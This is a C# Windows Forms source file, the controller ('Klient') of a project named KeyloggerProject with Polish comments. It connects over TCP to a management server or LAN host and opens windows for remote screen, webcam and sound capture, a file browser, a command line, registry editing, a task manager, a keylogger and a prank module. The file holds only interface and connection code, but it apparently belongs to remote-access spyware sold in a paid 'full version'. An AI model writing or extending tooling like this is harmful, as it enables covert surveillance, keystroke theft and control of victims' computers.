﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.IO;
using KeyloggerProject.KlientKeyloggera;
using KeyloggerProject.KomponentyWspolne;

namespace KeyloggerProject
{
    public partial class Klient : Form
    {
        bool Debag;
        #region ToolsWindows

        Register register = null;
        Ekran ekran = null;
        Video video=null;
        Sound sound = null;
        FileBrowser filebrowser = null;
        Czat czat = null;
        VideoCzat videoczat = null;
        CommandLine commandline = null;
        Config config = null;
        Keylogger keylogger = null;
        RegEdit regedit = null;
        TaskManager taskmanager = null;
        Psotnik psotnik = null;
        #endregion
        #region NetworkConnections

        TcpClient GeneralConnection = null;//Główne połączenie sieciowe
        NetworkStream GeneralConnectionNetworkStream = null;
        TcpClient NetworkConnection = null;//Połączenie z serwerem zarządzającym
        NetworkStream NetworkConnectionNetworkStream = null;
        #endregion
        public Klient(bool debagmode)
        {
            Debag = debagmode;
            InitializeComponent();
            Show();
        }
        private void SuccesConnected()
        {
            tabControl1.Enabled = false;
            button1.Enabled = false;
            button2.Enabled = true;
            groupBox1.Enabled = true;

        }
        private void Disconnected()
        {
            tabControl1.Enabled = true;
            button2.Enabled = false;
            button1.Enabled = true;
            groupBox1.Enabled = false;
        }
        
        private void button1_Click(object sender, EventArgs e)//connect
        {
            if (GeneralConnection == null)
                GeneralConnection = new TcpClient();
            if (NetworkConnection == null)
                NetworkConnection = new TcpClient();
            if(GeneralConnectionNetworkStream!=null)
            {
                GeneralConnectionNetworkStream.Close();
                GeneralConnectionNetworkStream = null;
            }
            if (GeneralConnectionNetworkStream != null)
            {
                GeneralConnectionNetworkStream.Close();
                GeneralConnectionNetworkStream = null;
            }
            if (tabControl1.SelectedIndex == 0)
            {
                if (Configuration.Klient.Network == false)
                {
                    MessageBox.Show("Ta wersja klienta nie ma możliwości połączeń sieciowych. (Kup pałną wersję programu)");
                    return;
                }
                else
                {
                    try
                    {
                        NetworkConnection.Connect(Configuration.Klient.NetworkAddress, Configuration.Klient.NetworkPort);
                    }
                    catch (Exception ex)
                    {
                        Runer.AddException("Klient: ", ex);
                        return;
                    }
                    NetworkStream ns= NetworkConnection.GetStream();
                    StreamWriter sw = new StreamWriter(ns);
                    string message=""+textBox1.Text+"_;_"+textBox2.Text;
                    ns.Write(BitConverter.GetBytes(message.Length),0,4);
                    byte[] byteArray = Encoding.UTF8.GetBytes(message);
                    ns.Write(byteArray, 0, byteArray.Length);
                    byte[] tab = new byte[1];
                    int lData=ns.Read(tab, 0, 1);
                    if (lData < 0)
                    { 
                        //błąd połączenia chyba coś z seketem
                    }
                    if (lData == 0)
                    {
                        //połączenie zostało zerwane

                    }
                    if (lData > 0)
                    {
                        //prawdopodobnie będą 2 etapy by nie wyciekały dane
                        if (tab[0] == 1)
                        {
                            //logowanie pomyslne
                            SuccesConnected();
                        }
                        if (tab[0] == 2)
                        {
                            //logowanie nie pomyślne zarejestruj się //powinno zostać zmienione ze względów bezpieczeństwa
                            MessageBox.Show("takie konto nie istnieje");
                            button3_Click(sender, e);
                            try
                            {
                                NetworkConnection.GetStream().Close();
                                NetworkConnection.Close();
                                NetworkConnection = null;

                            }
                            catch (Exception ex)
                            {
                                Runer.AddException("Klient: ", ex);
                                return;
                            }
                            return;
                        }
                        if (tab[0] == 3)
                        {
                            //zapomniałeś hasło?
                            MessageBox.Show("Jeśli zapomniałeś hasła skontaktuj się z działem pomocy technicznej");
                            //puźniej zaklepie się system do przywracania haseł
                            try
                            {
                                NetworkConnection.GetStream().Close();
                                NetworkConnection.Close();
                                NetworkConnection = null;

                            }
                            catch (Exception ex)
                            {
                                Runer.AddException("Klient: ", ex);
                                return;
                            }
                            return;
                        }
                        if (tab[0] == 4)
                        {
                            MessageBox.Show("Logowanie nie powiodło się. Nie możesz być zalogowany na wielu klientach jednocześnie");
                            try
                            {
                                NetworkConnection.GetStream().Close();
                                NetworkConnection.Close();
                                NetworkConnection = null;

                            }
                            catch (Exception ex)
                            {
                                Runer.AddException("Klient: ", ex);
                                return;
                            }
                            return;
                        }
                    }
                }
                
            }
            if (tabControl1.SelectedIndex == 1)
            {
                if (Configuration.Klient.Lan == false)
                {
                    MessageBox.Show("Ta wersja klienta nie ma możliwości połączeń w sieci lokalnej. (Kup pałną wersję programu)");
                    return;
                }
                //lan
                try
                {
                    GeneralConnection.Connect(textBox3.Text, Int32.Parse(textBox4.Text));
                }
                catch (Exception ex)
                {
                    Runer.AddException("Klient: ", ex);
                    return;
                }
                SuccesConnected();
            }
            Runer.AddText("Klient: Connected");
        }
        private void button2_Click(object sender, EventArgs e)//disconnect
        {
            if (tabControl1.SelectedIndex == 0)
            {
                try
                {
                    NetworkConnection.GetStream().Close();
                    NetworkConnection.Close();
                    NetworkConnection = null;
                    
                }
                catch (Exception ex)
                {
                    Runer.AddException("Klient: ",ex);
                    return;
                }
                Disconnected();
            }
            if (tabControl1.SelectedIndex == 1)
            {
                try
                {
                    GeneralConnection.GetStream().Close();
                    GeneralConnection.Close();
                    GeneralConnection = null;
                }
                catch (Exception ex)
                {
                    Runer.AddException("Klient: ",ex);
                    return;
                }
                Disconnected();
            }
            Runer.AddText("Klient: Disconnected");
        }
        private void button3_Click(object sender, EventArgs e)//register
        {
            if (register == null || register.IsDisposed == true)
            { 
                register=new Register();
                register.Show();
            }
            else
            {
                register.Show();
            }
        }
        private void button4_Click(object sender, EventArgs e)//ekran
        {
            if (ekran == null || ekran.IsDisposed == true)
            {
                ekran = new Ekran();
                ekran.Show();
            }
            else
            {
                ekran.Show();
            }
        }
        private void button5_Click(object sender, EventArgs e)//video
        {
            if (video == null || video.IsDisposed == true)
            {
                video = new Video();
                video.Show();
            }
            else
            {
                video.Show();
            }
        }
        private void button6_Click(object sender, EventArgs e)//sound
        {
            if (sound == null || sound.IsDisposed == true)
            {
                sound = new Sound();
                sound.Show();
            }
            else
            {
                sound.Show();
            }
        }
        private void button7_Click(object sender, EventArgs e)//file browser
        {
            if (filebrowser == null || filebrowser.IsDisposed == true)
            {
                filebrowser = new FileBrowser();
                filebrowser.Show();
            }
            else
            {
                filebrowser.Show();
            }
        }
        private void button8_Click(object sender, EventArgs e)//czat
        {
            if (czat == null || czat.IsDisposed == true)
            {
                czat = new Czat();
                czat.Show();
            }
            else
            {
                czat.Show();
            }
        }
        private void button9_Click(object sender, EventArgs e)//czat video
        {
            if (videoczat == null || videoczat.IsDisposed == true)
            {
                videoczat = new VideoCzat();
                videoczat.Show();
            }
            else
            {
                videoczat.Show();
            }
        }
        private void button10_Click(object sender, EventArgs e)//command Line
        {
            if (commandline == null || commandline.IsDisposed == true)
            {
                commandline = new CommandLine();
                commandline.Show();
            }
            else
            {
                commandline.Show();
            }
        }
        private void button11_Click(object sender, EventArgs e)//config
        {
            if (config == null || config.IsDisposed == true)
            {
                config = new Config();
                config.Show();
            }
            else
            {
                config.Show();
            }
        }
        private void button12_Click(object sender, EventArgs e)//Keylogger
        {
            if (keylogger == null || keylogger.IsDisposed == true)
            {
                keylogger = new Keylogger();
                keylogger.Show();
            }
            else
            {
                keylogger.Show();
            }
        }
        private void button13_Click(object sender, EventArgs e)//regedit
        {
            if (regedit == null || regedit.IsDisposed == true)
            {
                regedit = new RegEdit();
                regedit.Show();
            }
            else
            {
                regedit.Show();
            }
        }
        private void button14_Click(object sender, EventArgs e)//task manager
        {
            if (taskmanager == null || taskmanager.IsDisposed == true)
            {
                taskmanager = new TaskManager();
                taskmanager.Show();
            }
            else
            {
                taskmanager.Show();
            }
        }
        private void button15_Click(object sender, EventArgs e)
        {
            if (psotnik == null || psotnik.IsDisposed == true)
            {
                psotnik = new Psotnik();
                psotnik.Show();
            }
            else
            {
                psotnik.Show();
            }
        }
    }
}
